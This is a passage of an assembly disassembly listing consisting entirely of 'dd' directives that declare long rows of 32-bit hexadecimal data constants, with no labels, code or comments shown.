		dd 51E140BBh, 0B22F5241h, 4E1E9578h, 5A145F8Eh,	0A932C120h
		dd 3EDAD0DAh, 0C0872221h, 3076E06Fh, 461040AFh,	76A070F0h
		dd 204CDC29h, 0AF7DEF8h, 6E6666Ch, 883EF040h, 0A610085h
		dd 5008EDDEh, 360820AFh, 18D4707Dh, 4D74B611h, 470D4AF0h
		dd 0C0268F85h, 21542728h, 7CC70B6Eh, 0BC05A4B2h, 81426060h
		dd 0FB750F3h, 0FC0E5C16h, 24A049A0h, 3A7C5796h,	8382A900h
		dd 0F00D519Dh, 18567430h, 0B05DEF3Ch, 0B6F00C6h, 98EEECD9h
		dd 34F076E6h, 9C0420A6h, 7E7B8F1h, 9D85BC7Ch, 62FD82E2h
		dd 3F1508F0h, 0FD47E9A1h, 0E1A58160h, 0C8C0C25Bh, 421E1392h
		dd 0C195CEA4h, 498B7A3h, 78D4880Ah, 0EB21C1DCh,	0BE85119h
		dd 3A973201h, 4A5A5E87h, 864C88C0h, 0E9B6A99Fh,	0F47E410Eh
		dd 604B8009h, 4882D240h, 0DA0004B8h, 0FD299FF8h, 2309E07h
		dd 8DF1194Fh, 1C8648BDh, 0CC7CE900h, 2C586993h,	20A65EF0h
		dd 3087CE04h, 997C9F8Fh, 0FC804443h, 0E6425B19h, 0AD880747h
		dd 2BAAC278h, 0C4409125h, 0F1D33D91h, 920A3731h, 0A040F410h
		dd 1154C415h, 0E208FD4Fh, 5B0A1EA1h, 0C02AD375h, 41956F54h
		dd 0EEE6EAA0h, 480B5240h, 18015DC2h, 4B42F2Ch, 0FE4728FBh
		dd 2CB27C5Ah, 584CEA58h, 4F11A0C2h, 0B6F159D5h,	44E50858h
		dd 0A34CB835h, 0FB99A048h, 4D8C23EAh, 650C86E2h, 0B4D0068h
		dd 7FB3642Ah, 9A0820AFh, 7568700Ah, 4E472FF8h, 889E7EC9h
		dd 0E8339E24h, 41F469E0h, 0C90A47CAh, 38089EC8h, 79115323h
		dd 96B4F20Dh, 9FFF0A20h, 0F1402D35h, 0CD050FACh, 78F271F9h
		dd 8085A020h, 9981A99Eh, 4285C082h, 41CE904h, 5D07385Fh
		dd 42D87C08h, 0C0FC8EE7h, 0DB2B397h, 30958F07h,	10AE8040h
		dd 1CC48D7h, 7E794D70h,	0F0852188h, 0CE039850h,	7C188602h
		dd 6D998057h, 0C8A7867h, 20AA2EA5h, 0D702F828h,	93D4163Eh
		dd 0F920B678h, 0D7F6010Bh, 5376C32Bh, 60619C0Ah, 93EBE04Fh
		dd 7E36FF11h, 8BC7C9F0h, 4DEE88Eh, 633A0A65h, 0D1FD7C7Bh
		dd 90C12080h, 5E6C6D07h, 20F12960h, 35C93260h, 840AF5Ah
		dd 25069D5h, 21D4F6D7h,	295095A7h, 0B2008568h, 2CDCBBDEh
		dd 0C27E4731h, 0B88911C5h, 11591A60h, 0F07929FAh, 11067D9h
		dd 309F902Ch, 0D01FB034h, 0D4018AF2h, 0EFAB59E3h, 18803511h
		dd 7365ACCAh, 0A9022C14h, 0E6AD7AC8h, 7820B0D8h, 118673EBh
		dd 0F1A868CDh, 1F0ED956h, 0AB1C5064h, 2CB2E563h, 6B151A40h
		dd 0E220668Eh, 1FBC20CEh, 0F6C1539Bh, 1962E8EFh, 3F4A50D4h
		dd 0C680ECE4h, 0D72C0EF1h, 5507074h, 0C1D99C28h, 0BCE88D50h
		dd 533F03E3h, 30EFB164h, 80E7E9A3h, 1EC08FA7h, 0AD6E38C0h
		dd 0C40D859Ah, 2190851h, 90BD1391h, 43A55020h, 837A84E8h
		dd 9E04DD01h, 0B57C0029h, 0F0E3755h, 2F26C358h,	213E317Ch
		dd 0C66AC1FDh, 53003169h, 1DEFDC73h, 0C7F121D0h, 0A0C85978h
		dd 0AD70A3F4h, 500D8A30h, 561778h, 9EF66450h, 0DBA283F9h
		dd 80101900h, 5BB5D041h, 6ECF0037h, 4AD47644h, 9007CA3h
		dd 82F44045h, 5071F1A8h, 14EF8848h, 0B00B1B68h,	0E1943D0Ch
		dd 76004C58h, 4BE5BF97h, 0FCFDFCEh, 0BDB63F49h,	47C8EB0Ah
		dd 4DEF80C2h, 0F2609321h, 79749A20h, 0D068C046h, 6E107C15h
		dd 0DEE4D150h, 2EF50202h, 60916FFFh, 1E8590B4h,	805B7BA1h
		dd 81A74EEAh, 4BF2308Bh, 8CDF80C5h, 88C4F020h, 186D09ABh
		dd 9B014CCFh, 80F5E1C3h, 0F4214146h, 4808BE8Bh,	81007472h
		dd 399ED2E2h, 0D603DAB1h, 4C97B8DBh, 90ACE266h,	55A4DDA4h
		dd 0D1CCC0DCh, 0E4435016h, 0EFA02859h, 7DE939C0h, 0ED3EC903h
		dd 581CCC6Eh, 98435A4Eh, 0D8E10DDDh, 603FCF21h,	45EF31F4h
		dd 591AB431h, 0F8B272h,	717C76A8h, 2843612Bh, 83F9A057h
		dd 1AB4C631h, 0A990014Fh, 0EAACEBCDh, 25108324h, 0E28FC98h
		dd 0D23C8FA0h, 0E250582Ch, 0D8156E19h, 0F0115678h, 4D9DCCCAh
		dd 948820E9h, 16386C02h, 9739FD2Ch, 30FF60A8h, 0F8A099FCh
		dd 576F6F08h, 0A2722381h, 0FCF9051Eh, 0EE45F82h, 0F0219F80h
		dd 241FB1E1h, 7EFEE95Ch, 186ED500h, 98DCB9F9h, 0F207FC6Ah
		dd 0A00FF09Dh, 0FDBEA180h, 0BEF3180h, 3B1B4687h, 4FFF5715h
		dd 3623EA0h, 6959F816h
		dd 0A05BE258h, 0A603A488h, 7380C0E8h, 7FCEED97h, 5CFD4B01h
		dd 55E03AB2h, 66702881h, 80FAFEF7h, 0A79516A1h,	1D96385Dh
		dd 3EF408A0h, 0E910ACA8h, 24D478AAh, 87986073h,	0A3872C5Ch
		dd 31E0A68Ch, 0D4A9E31Ch, 996040E1h, 6D55F48Fh,	80002270h
		dd 0D08FC92Bh, 748512A3h, 96D84035h, 8238B2C0h,	50622624h
		dd 43FF8006h, 4D350E98h, 7AFD051Ah, 0E5326860h,	7000DAF4h
		dd 0EBB5E6BDh, 3AB66D2Ch, 0C8549FFCh, 0ED9B0973h, 0D4807016h
		dd 0E81FAFFAh, 48418239h, 0EFC90470h, 24884BCCh, 78D76049h
		dd 1EA19FEAh, 0D97ED033h, 4040E2FBh, 6F85E2DCh,	0C981E860h
		dd 400A5187h, 0DE705898h, 8EB47C48h, 2BFEF81h, 40EE8C1Ch
		dd 0C5CD060h, 48F5747Dh, 0C00666F0h, 4C8D721Dh,	0DF080010h
		dd 897A8387h, 180938F8h, 5A8431h, 19AC7140h, 0BE5606E5h
		dd 0A8442D94h, 6F0A5F06h, 129063F9h, 543FC901h,	52258C8h
		dd 975B18C4h, 9B183122h, 117091F2h, 7D0B7A3Dh, 708ED8h
		dd 0ADD74774h, 9D74188Bh, 1D6EA882h, 80FAD928h,	29B3B700h
		dd 6A58200Bh, 6C981024h, 0F0E32604h, 9BE13700h,	74C73301h
		dd 56AA02FFh, 4561959Fh, 84170C87h, 497204A8h, 908A9D40h
		dd 1000E6FCh, 79601BECh, 680A6Fh, 0FE019E24h, 0DC3ED7A2h
		dd 445EFF80h, 0B34C5BD6h, 0DF987727h, 3EE1BF00h, 994C0226h
		dd 0B47B0145h, 15E4341Ch, 8718BA3Fh, 0B6B35D84h, 117A2EC0h
		dd 192B1C47h, 209C8397h, 79BB5F89h, 602C4BE2h, 0F5A10229h
		dd 5D09B828h, 5A5C9400h, 2CD500CCh, 2D80641Fh, 5E6039BFh
		dd 3C024E38h, 91B71E99h, 11FE01EAh, 0E0C3CF31h,	8B005CD4h
		dd 63C5438Ch, 48A21601h, 486040E4h, 0B09C1757h,	0D3888A61h
		dd 0B4F8C997h, 0EA4F783Ch, 0B599304Bh, 1B6112C1h, 53CD9D18h
		dd 734D6CE8h, 3CA25202h, 0C8BADD10h, 40B9E288h,	8C8B0C18h
		dd 8862BC21h, 21C20945h, 24E11BA2h, 21790CBFh, 981CC527h
		dd 398108E3h, 317F4862h, 717848B8h, 0E3483CA0h,	0ACC08410h
		dd 31DC2918h, 6A417B24h, 0E2E0209Dh, 189A3505h,	0A871409Ch
		dd 30166690h, 1FACC21h,	6E59AF4Dh, 1820866Ch, 0E4C0E11Bh
		dd 3D218C5Bh, 0C2FC9145h, 106A761Ch, 0B75301C5h, 6349109Ch
		dd 6122B8C4h, 0D84CD2F9h, 749CAE24h, 781D4229h,	3EB02A8Eh
		dd 3C5ED03Ch, 4249D584h, 0A09119E5h, 0E4364BD0h, 78454896h
		dd 0B9994605h, 0D9F46108h, 0A6A00C4Fh, 2C692958h, 0C46891F4h
		dd 0AC321285h, 865E9438h, 0C4306549h, 0FC31AD75h, 0E4B81023h
		dd 0B7B52819h, 0CC4B1894h, 4AE13060h, 26202986h, 2CB50454h
		dd 5B4C21C4h, 0E4403D12h, 0EB8939E9h, 0A2D2C449h, 305B706Ch
		dd 1C42FC49h, 8488F411h, 0E1317744h, 0CE602708h, 186C2AA4h
		dd 0F9097D08h, 8519CAF8h, 1619C5Dh, 46DC840Ch, 0B8E90820h
		dd 315845C3h, 4C14E56Ch, 218EBCD8h, 15912EACh, 32C6BDC4h
		dd 7914130Ch, 0C9C046D5h, 0E1143828h, 47A8A6FBh, 999010ECh
		dd 2B8831CAh, 0CA5A1014h, 9D643CE8h, 44BCBCD8h,	0FCA0303Eh
		dd 10D03DF1h, 8C2D24FCh, 0A8C69328h, 21612F4Bh,	0A888BFF5h
		dd 303D9922h, 4411A87Dh, 0A0D85E50h, 6435B844h,	3267C182h
		dd 799CB989h, 0D8A5E018h, 0CC4BB10h, 0FA65615Dh, 46289C4Ch
		dd 98CC108Ah, 9C3C29DFh, 8AB510E9h, 2DE29CD0h, 2CD8A033h
		dd 1AF9B09h, 48971821h,	608BB790h, 11866B4h, 4C2840B8h
		dd 8056009Ch, 11E42B48h, 0BD7CC8CDh, 26775E00h,	8B923E8Ah
		dd 3020FF90h, 3C9A348Fh, 0E6C40451h, 2D7D0543h,	21132430h
		dd 115FF091h, 7D8B0D53h, 0AF8F31C3h, 18496244h,	9A2146A8h
		dd 0B1911929h, 596B37CFh, 2843DEC1h, 42DD0070h,	8A101029h
		dd 0FBFEC5E0h, 30725989h, 0B6AB3108h, 3196830Ch, 7E9C2CECh
		dd 90143C0Eh, 78C294BBh, 3816B7A1h, 7E0C869Fh, 0A2E1635Fh
		dd 4CCAC92Eh, 72B14940h, 0A91D6711h, 214DA5Fh, 64AD1559h
		dd 74B6F848h, 0B0313D28h, 956203E0h, 28FC38h, 5E2716C9h
		dd 13A2411Ch, 592B0A3Fh, 73059C7Dh, 0CC442F5Dh,	55F30C5h
		dd 31999B0Dh, 2866BA4h,	0CEC061D6h, 0C49C5400h,	603C7458h
		dd 16F92B39h, 748459ADh, 7C2CAA00h, 7F64822Dh, 0A633620Ah
		dd 0EC8FC47Dh, 0B83F65A4h, 9B0E20C0h, 2761AB0h,	682CE080h
		dd 53078E8h, 0F8F151B5h, 0E4AF8892h, 9D1560A0h,	8E798560h
		dd 1CDBB9E3h, 8F915CCFh, 1303FC6Ah, 110A5D40h, 0B449E372h
		dd 58A1B182h, 398409Ah,	236330B6h, 9150B488h, 0A0686524h
		dd 5A4B6F02h, 0E6E0A061h, 52904C9Eh, 0B905E8EFh, 48BEC828h
		dd 0C9824A30h, 7995F51h, 181606BFh, 94A2B5E6h, 7B76E014h
		dd 2809A3Ah, 0B5858A55h, 5A48A1CBh, 0C7105EF9h,	1152F5EBh
		dd 9EBE0BC8h, 0FDAC2520h, 0F8040C40h, 30B2E9DAh, 78A0BDF9h
		dd 552411D6h, 0FB1CE005h, 7818FC55h, 0E14A978h,	0B493E5h
		dd 1639AE78h, 34DACE86h, 81A81F89h, 104EF878h, 0A02B147Ah
		dd 402CA178h, 0BDF89D2Eh, 0D5683C6Bh, 4602A782h, 902014A2h
		dd 13116502h, 6274C810h, 4023BF12h, 0EDC850B0h,	5C2499A0h
		dd 80A3836h, 2218BCB5h,	0EC9B7D90h, 0E3EC80F6h,	182E3135h
		dd 0B35FC21h, 50B3186Ah, 26E83690h, 29E5D430h, 5571CC7Fh
		dd 6060C853h, 2C828238h, 8600A959h, 0B2ACC509h,	0C5C1714h
		dd 0DFF85DBBh, 0F5C0097Fh, 54E47C20h, 5D8092E5h, 1B48A845h
		dd 5084A85h, 2074B0A0h,	0AEACD3A8h, 11C14DF0h, 0C8155C9h
		dd 0C0C103CBh, 7203186Dh, 6404EDE8h, 0C0399A2Ah, 0C1FCB016h
		dd 4615A440h, 0FC4120E4h, 54E0922Ch, 26E32CB0h,	15102655h
		dd 0C701C40Eh, 617D0AD6h, 22189191h, 20415512h,	31C2E6ECh
		dd 0B51224A4h, 4C01B13Bh, 635DEB88h, 0CCA84850h, 0CC1154F9h
		dd 2BBF312Dh, 0C849A049h, 0F64C7E6Dh, 0C34F22F8h, 0D942EE61h
		dd 0C597F101h, 32B5BE58h, 50AF0850h, 3A592EB0h,	9A278FB4h
		dd 6017D646h, 28A3E374h, 0B7A269F0h, 98937494h,	0B1A4D423h
		dd 3C34B544h, 38FE0918h, 4C101479h, 630CEBB1h, 1128F2B5h
		dd 90B94C20h, 5B013222h, 52F4F6C7h, 398074B7h, 82AB9D1Fh
		dd 3318608Ah, 0DE715F83h, 18245984h, 34109451h,	24BB50B3h
		dd 89E85D21h, 100A68BEh, 20D06038h, 401265DEh, 871CC1Dh
		dd 486038B8h, 4EC01280h, 9624838Fh, 9AB4BD8h, 29E29801h
		dd 4590C50Ah, 286C5824h, 0A9C8FA7h, 38B51B8Eh, 0A0EC95D8h
		dd 3F88B160h, 7C26E9D7h, 5E0008DDh, 3E7F52BCh, 82852690h
		dd 0B4C48AF4h, 50B00120h, 3890B515h, 0F1AE0150h, 0BC7CF64Fh
		dd 0C0D0C860h, 0FF9FA161h, 0FA646747h, 253D418h, 415BE368h
		dd 24F15C61h, 2A285EB0h, 1B781020h, 0C31ED705h,	0A4042B18h
		dd 541D29E5h, 4F26E064h, 4932BD94h, 0E0AF0510h,	0DE78DBA1h
		dd 6008402Dh, 86330279h, 0C0683122h, 892B3DDEh,	56208835h
		dd 50869926h, 8818427Fh, 0D5217504h, 808EF578h,	8EF6021h
		dd 247D4898h, 1F80A74Dh, 9F0B20E6h, 2B5E60DDh, 53C0B74h
		dd 844157B0h, 427973C4h, 801434h, 12F0A7AEh, 511178C9h
		dd 0F62AE1C0h, 29A5A9h,	4287DA20h, 5B57C1DFh, 0E10044B0h
		dd 91C52864h, 9C78A1C8h, 0D783010Ch, 84479C2Eh,	111C389h
		dd 16D838E5h, 8FAF02E2h, 4A6CC202h, 98B2C080h, 35000C99h
		dd 0FAA8091Ch, 9143923h, 3F83326Eh, 9D166420h, 0A890047Dh
		dd 0EC8060B0h, 180183Eh, 245530E4h, 92E32CD0h, 6FA6AD00h
		dd 0DE817422h, 9E9F81Dh
		dd 0A23AF49Ch, 0ED39C800h, 0E4327B3Dh, 2264B0C0h, 0A8485DB8h
		dd 81209D18h, 0B1F93CB3h, 41A628F8h, 8B963320h,	311594A0h
		dd 30D431B8h, 0E63DA8BFh, 60E848E7h, 7249028h, 6B32BDFCh
		dd 0B99DC74Ch, 9C03A009h, 0C1FC99D4h, 805391ACh, 7BF8C949h
		dd 923DCD15h, 0FD8100D4h, 9D5F0F54h, 9C3B1AC0h,	34B448C8h
		dd 34F2E679h, 19774C1Ah, 191B0963h, 0A3E8EAE7h,	28C9A4EBh
		dd 377FC020h, 82C99504h, 0ACA01890h, 270FBC4h, 687F98C0h
		dd 1C82DE8Ch, 0D2729014h, 93742304h, 12081021h,	38640D36h
		dd 202AB251h, 918211FFh, 0E7380110h, 462ADE80h,	0ADB0BEABh
		dd 9A891E1Ch, 0D4209357h, 272DE13h, 452A6629h, 0D8A65590h
		dd 5A0238FEh, 0BF2E8626h, 0AA0C81EFh, 3EF3F931h, 0D5921838h
		dd 90B4013Dh, 0F02701A9h, 0A8C9926Ah, 0CEA8119Ah, 78AB9024h
		dd 36460C33h, 0B639CC83h, 78CCD49h, 2794FD0Bh, 151CE800h
		dd 0D95CA876h, 24AF2A8Fh, 78D733ECh, 5978C110h,	0BC10BE64h
		dd 31025C22h, 4C42426h,	8548181Dh, 86216718h, 9E1EAEDh
		dd 95141A04h, 34190CC1h, 0B773C250h, 0AB3D7E04h, 6C821726h
		dd 0BAA863BEh, 65F8609Bh, 38858264h, 0CF9C97B1h, 811EA742h
		dd 46259882h, 8FA6BC40h, 70E14B41h, 0A8C982E0h,	0FE7B7C84h
		dd 29EF2B6h, 0A024E1E0h, 0DCC8E54Eh, 0BD07714Dh, 0BE6D042Dh
		dd 0E94848C9h, 0F6EE0B54h, 6E5CD4E4h, 645C0825h, 2B4542h
		dd 0F27276C9h, 20AB3210h, 6680885Ch, 7C95F1A5h,	3FB89988h
		dd 0FD8A9E3Eh, 85BC2367h, 2C170EC2h, 8477E378h,	2E185064h
		dd 7293F0C3h, 287BB879h, 4008BADEh, 0FCA808B5h,	0B89AF260h
		dd 0C9E3EE13h, 0A05EEC82h, 33641694h, 0CB9A1212h, 0B060091Ch
		dd 0EDA7468h, 415E1F19h, 7FF8AB11h, 33FD7F66h, 29713EA0h
		dd 0D111D681h, 0C88C303Fh, 876BB125h, 3922E57Ch, 82A462BEh
		dd 0EA58E44Ch, 20D83458h, 5B7643A1h, 163B7EF0h,	17970034h
		dd 0BD5E3368h, 0CE769Fh, 0D5406AE3h, 26FEB1FBh,	0AC23184Bh
		dd 448DF9ECh, 0A8A49C44h, 3F7124DEh, 0FCB00A44h, 0B71030A8h
		dd 23605007h, 1B778C71h, 2CC25C5Ch, 0E1001CD1h,	5E6B24C4h
		dd 8A2B1FEBh, 9110A83Eh, 6B054CD4h, 3CFCB930h, 0E8A09A8Ch
		dd 2386FA34h, 45112833h, 112A0286h, 0C250BF48h,	4894B9FDh
		dd 9F74644h, 825E6D03h,	21862820h, 4769D914h, 0F99C1080h
		dd 808A5285h, 0C5558717h, 9B302800h, 31542988h,	0E97194BFh
		dd 842CB4h, 0CFF5E230h,	1D6495B1h, 0E86E5FF0h, 2BB081C8h
		dd 3119C26h, 0B509EF86h, 840320DBh, 0F1F49C56h,	224C2164h
		dd 712D0EB8h, 0AC500161h, 4C43E372h, 0B59E8031h, 0C811C034h
		dd 7088028Ch, 7F77C40Ch, 2776182Dh, 0B410AE6Dh,	814ECD1Bh
		dd 0CCA8C804h, 7460448Dh, 1F8A4F0Fh, 0BD18BC7Ch, 0AB4ED960h
		dd 3913C1F0h, 7C403DDCh, 0DE38CE74h, 3C1B860h, 1D549FB5h
		dd 0D10FC5B8h, 964C3FBFh, 8110201Eh, 35B8210Ch,	0AC1DE1B1h
		dd 2A005E13h, 591BA3E6h, 29F603AFh, 31BBDE06h, 88401EE2h
		dd 855863FEh, 0C4E2006Eh, 9A24F51Bh, 0E8684CAFh, 60103C8Ch
		dd 8FE52384h, 0D8201D18h, 0F3A18017h, 33FC8804h, 3C9170E4h
		dd 9D40221h, 719A309Bh,	634B6539h, 4D320F7Ah, 0A7FDC8DDh
		dd 60138888h, 0CA290E5Dh, 3DEC401Eh, 7CB9E011h,	0C8168F91h
		dd 7A04971Ah, 4601114h,	0A9C9F4B6h, 0A83C8F4h, 0B9C2DD8h
		dd 0C189BB9Ch, 94005F3Ch, 211E25EEh, 4C3EC80Ah,	4312DCACh
		dd 0A8DF1847h, 815906C3h, 0C4611B5Ah, 3058BC22h, 18B9EF8Bh
		dd 9799BED7h, 286371FDh, 271030E2h, 8F09E41h, 0BF4B750Ch
		dd 664D719Bh, 0A90380DBh, 94A08CF0h, 0E3807E06h, 8144E4Ah
		dd 0C28F3558h, 564B217Fh, 0CC4537D7h, 0B02338D1h, 0D3E69849h
		dd 1E1D401Ch, 64C2C827h, 0D8C19D15h, 988158C4h,	0CBC43905h
		dd 0C9FCD11Dh, 75C47031h, 24C0A73Eh, 0C21784Dh,	0E34FF601h
		dd 84347D19h, 0A5260092h, 8A421E74h, 0A90AEEA3h, 40FA1A2Ch
		dd 0A47A8D0Bh, 54E6DE00h, 935C9C81h, 2F3901B6h,	0B4C2EC2Dh
		dd 3039C3CEh, 4084E421h, 0F2264B35h, 0CC7F0630h, 0E87225h
		dd 4D171811h, 3D973F2Bh, 49DF0C12h, 0E5091C02h,	900F050h
		dd 0B7E270B2h, 0E9DB3800h, 0A8C08255h, 58A5E893h, 38CF2769h
		dd 93447014h, 92C0018h,	4872D5D0h, 0A8964211h, 3770B405h
		dd 18DBACA0h, 588FFBC1h, 0ED31C0B2h, 0DA9D1894h, 8C39BC31h
		dd 84EC1603h, 6800911Fh, 0BA21FCAAh, 0C864ADh, 0EDF5F98Eh
		dd 0B5D7F629h, 60D84700h, 1AA680D0h, 33FE0B6Bh,	94A0CD83h
		dd 0AD8884EAh, 7448BB67h, 0CC12D1D5h, 1935FC0Ch, 4C99D0h
		dd 70B3F4B5h, 6255A84Fh, 1076FD84h, 40DC3557h, 6000C0EBh
		dd 7897EF46h, 32D7DDF3h, 58F87031h, 126BE21Bh, 88BE9F61h
		dd 706711F9h, 8410E986h, 0E08208DCh, 0F000822Fh, 428E7B9Eh
		dd 6E1CE128h, 48DDCCF0h, 215E084Bh, 85D357Ch, 0E050014Fh
		dd 37C8C9ACh, 0BFAC203Fh, 60949E25h, 16B9DB9Ch,	0C26255F7h
		dd 0B0600674h, 349C5A59h, 471B1801h, 204F94FBh,	803C4211h
		dd 0CEE5E8C8h, 58357EACh, 488050E4h, 0D48ABF6Ah, 81C49225h
		dd 222731E8h, 0B2B58040h, 7FA7058Dh, 0AC7AE5h, 20A096DCh
		dd 4118234Eh, 0CE293B44h, 0C92880A5h, 0C00DF000h, 6E428FE7h
		dd 8BCD00D0h, 0B3F5E40Eh, 9505FEE6h, 74206054h,	28AC4090h
		dd 5E3007Ch, 12A5C042h,	2B007E81h, 0F97A78A1h, 18E18725h
		dd 4186398Fh, 8800674Dh, 499EB6C3h, 202A9E3h, 8A591245h
		dd 9FE0BEBBh, 0BA18970Eh, 0C710B8C5h, 3DFFFAE6h, 0A6801052h
		dd 0E8CCE31h, 0D0CE036h, 28D496B5h, 8772003Ah, 224B53AAh
		dd 7B028205h, 650288AFh, 7850A7h, 0C8E855EDh, 3BBE7F2Dh
		dd 67000172h, 8D0BB6CDh, 1E9A693h, 90E0996Eh, 0D8E2105Eh
		dd 7D76E18Eh, 101713Dh,	0F8CF6CA5h, 0ACBDCB2Ch,	34524F00h
		dd 0D266FADFh, 0E6FC5A30h, 1F0A5DBFh, 0DD2644h,	3B4AD80Eh
		dd 5E0BC621h, 8055D169h, 2B0F4BB9h, 65FE007Bh, 0B73C29CBh
		dd 617F604h, 1100746Dh,	0D9F1071Dh, 0DF5392Ch, 171F0176h
		dd 8CF95FAAh, 8F708169h, 0CFC548C2h, 9E0F8EFh, 0EBA2004Ch
		dd 0B155399Bh, 8B077ACDh, 80FECAD8h, 63729501h,	85028840h
		dd 88C20003h, 3D70EDCFh, 0B1006B22h, 6C161404h,	0F7D8E3h
		dd 89AA0766h, 3598F8CDh, 0BEA2DD00h, 51A09BD4h,	0F4326787h
		dd 271591D5h, 0CCB8F330h, 1000C562h, 0BD05523Bh, 77C5506h
		dd 0C4D64F65h, 0EA311232h, 0CB351048h, 4400E075h, 0C04E64A8h
		dd 588022h, 0A0A2020Fh,	357D8389h, 0B7201E00h, 2CE8D7C2h
		dd 27BA00B5h, 0BEC729F5h, 0D6034AFDh, 0F1153B6Fh, 36ADD871h
		dd 0B060C017h, 13E35021h, 238FB900h, 0B4E27204h, 0C09045h
		dd 0A4CCF57Bh, 0D51B2536h, 4AC5F800h, 11F490FFh, 0B487C93h
		dd 89DDCF39h, 0F9657F40h, 0D78F7C03h, 0B7643061h, 0A24019C0h
		dd 0FCCD0C0Dh, 0FB781F7Ah, 7BFF9300h, 8976BB12h, 18266021h
		dd 44C4A74Ah, 0A14C9660h, 904C3h, 7277B4Fh, 1EE607Eh, 95980800h
		dd 5AEA8ADFh, 1214B841h, 0A0A2F7F5h, 1E0B57ECh,	0BF55D8h
		dd 5B45E311h, 84D228E4h, 77D500C8h, 0B1983CD0h,	895CA810h
		dd 801939D8h, 1F9735C7h, 0FC499B50h, 5EF31CFEh,	3E00BB2Bh
		dd 9E4721F8h, 83FC5D7Ah, 0EF417400h, 0D74E91B8h, 53D4BDFh
		dd 70AAE0h, 0B5508B6Ch,	0C60695E1h, 59C3A83Dh, 1BF40F10h
		dd 32C14841h
		dd 20CCC1B1h, 66005BD4h, 93C65C15h, 0E00DB4C7h,	454E00E0h
		dd 0F4825E0Fh, 3200D62Eh, 0E727CA23h, 4F98A56h,	0AED74FEFh
		dd 33E8B0D8h, 8FE8E400h, 0ED76F602h, 3174B7h, 0C18D677Fh
		dd 0E842B70h, 0D9DB5B00h, 0B84FBD3Dh, 0B9BB01B6h, 917D559Dh
		dd 0C4C6DC0Ch, 47FED102h, 0E0638812h, 21DC57h, 272C8182h
		dd 0A452500Ch, 0D4A2B600h, 0FD296A1Ah, 0CB493A0Fh, 0B83AFA00h
		dd 0CB91C1Dh, 63BD1201h, 0C4FC98C7h, 18816B31h,	0EA832CA2h
		dd 9CC3E4C6h, 49554E1Fh, 6D3C0300h, 1CFE2B85h, 0CFDE4Ch
		dd 1E912518h, 890EE8C6h, 0E01F8EE1h, 0C4AD4FD4h, 67D20093h
		dd 4D21C29Bh, 49169539h, 8407BE9h, 30B9B61Dh, 530D00F6h
		dd 96D4D9ABh, 0B8005807h, 0FBEF35E8h, 0CD9D52h,	0AF3A7971h
		dd 4A6EF43Ch, 14A6BB00h, 0E97B01EDh, 863B02B6h,	1C294750h
		dd 0B4A4C840h, 5B07C700h, 2FAAA362h, 0E0093D39h, 0B888E00h
		dd 79A3285h, 346C8D0Bh,	0C51F00B8h, 79B6120Dh, 366A0716h
		dd 5095BAE2h, 0F55FCA98h, 7B000490h, 8A15638Dh,	14AEFFE5h
		dd 0D79B274Bh, 557F17h,	34410B8Eh, 0EF4839B3h, 0AF170428h
		dd 0A80FD0Ah, 5719CAh, 9988729Bh, 0AB1D1352h, 0F6126990h
		dd 0A0802989h, 0CDA8E1h, 8AE240ACh, 4FFC7942h, 0B2483098h
		dd 0A5090018h, 0E9D7F14Dh, 1E5C9821h, 808BFBB5h, 8CF80ECAh
		dd 0B400DFA0h, 7813E95Dh, 16C448Eh, 0AA691710h,	303B860Ch
		dd 880048D7h, 0F4027431h, 3CB111FEh, 0D2004ACEh, 7F9FF8DEh
		dd 0C118B50Ch, 3F18D3ABh, 0EE50052h, 981A7279h,	7E001C1Fh
		dd 0C714FFA2h, 42E72Eh,	6FCEADCh, 1550227Ah, 0FBEE9B00h
		dd 0BF4A35Dh, 0E6D900AFh, 6258B0BAh, 7400D4E1h,	0AE3F69F0h
		dd 7ED13C5h, 88371D1Ah,	2D6FA252h, 3E6084E0h, 98A0F073h
		dd 581F573Ch, 9F413119h, 65644D73h, 0DA00982Ch,	1110F782h
		dd 0FB02CFA4h, 68583227h, 0C0F1C0CBh, 24863E88h, 8F1F8280h
		dd 0DB833F80h, 62ACF400h, 0C25BD073h, 6D300F93h, 1CE02597h
		dd 61ED535h, 54009078h,	321018C4h, 33C0F05h, 880CAE4Fh
		dd 0C600F10Dh, 230956AAh, 0F0620h, 8F5285A5h, 8ED95424h
		dd 0A8010D74h, 119D308Dh, 28803EE3h, 0CE344856h, 0EC001DC4h
		dd 802B4CBh, 3139F38Fh,	710C520h, 0E5BF09Fh, 7917CC24h
		dd 4F18EA18h, 0EEE30012h, 3BF83CD5h, 17000D20h,	0EC52A2F9h
		dd 3EB7CBE5h, 8D14BFB3h, 0E60108E7h, 0EAE9E218h, 0BB409D9Ch
		dd 0B1C5F080h, 6F3884FFh, 0E286C125h, 0CF005951h, 0ABEC02E4h
		dd 711AE7FCh, 5ED701EFh, 481E92DDh, 7002706Fh, 0A4404900h
		dd 24094A3Dh, 18EE00D1h, 1442457Dh, 2273EBE4h, 0B91E1A00h
		dd 0C79F04AAh, 18B7EADEh, 0BE4AABD8h, 1C4898F2h, 3DEB00C4h
		dd 0D4DD08D6h, 0C1A70007h, 26EDA3BFh, 0BE00CE2Fh, 0CC526403h
		dd 9D9E11h, 6A355AE5h, 0ABEE7692h, 0C8402130h, 3E99A5h
		dd 9831836Eh, 0B93851A8h, 0D5084B0Bh, 8E5FB3h, 351BD980h
		dd 3D00DDD6h, 5284393Fh, 0F4FEB61h, 0D4C0C476h,	4D0B3E83h
		dd 961FB0C8h, 0BD47DC03h, 89807FAAh, 0BEC0A79Dh, 0D9200718h
		dd 0D0C582F3h, 0DC330749h, 98041300h, 964BC972h, 23A9007Bh
		dd 1075C7FBh, 0CC00B0E4h, 50FC9EF0h, 0F9004h, 862176CAh
		dd 0EBA5AB80h, 2668E200h, 7319964Fh, 0D8841D66h, 2DFE841Ah
		dd 0B5E6C039h, 31F654ABh, 80DE1302h, 5F157765h,	737E7560h
		dd 0B1FE0C05h, 7C05616h, 19B5C29h, 2B9552C1h, 0C9E6C474h
		dd 0DB04C45Fh, 7082E924h, 4F16B482h, 221A40F4h,	52131DE8h
		dd 458079C7h, 0B86B252Fh, 3600E183h, 0AAFA3F7Fh, 602AAB0Bh
		dd 27632816h, 6005A42h,	44ECC926h, 0F30446h, 96A1CB07h
		dd 9581DA47h, 0FD038492h, 2FE56E7Ch, 311CB008h,	0BD600363h
		dd 0F0477607h, 2B7780BFh, 320062A1h, 9543CA08h,	1883DBECh
		dd 9029657Ah, 0F7078CD8h, 5C032781h, 0C391E93h,	0E620F0FAh
		dd 310067C1h, 1A24B4B9h, 0EE5B0208h, 4B7D03BDh,	73C3BB29h
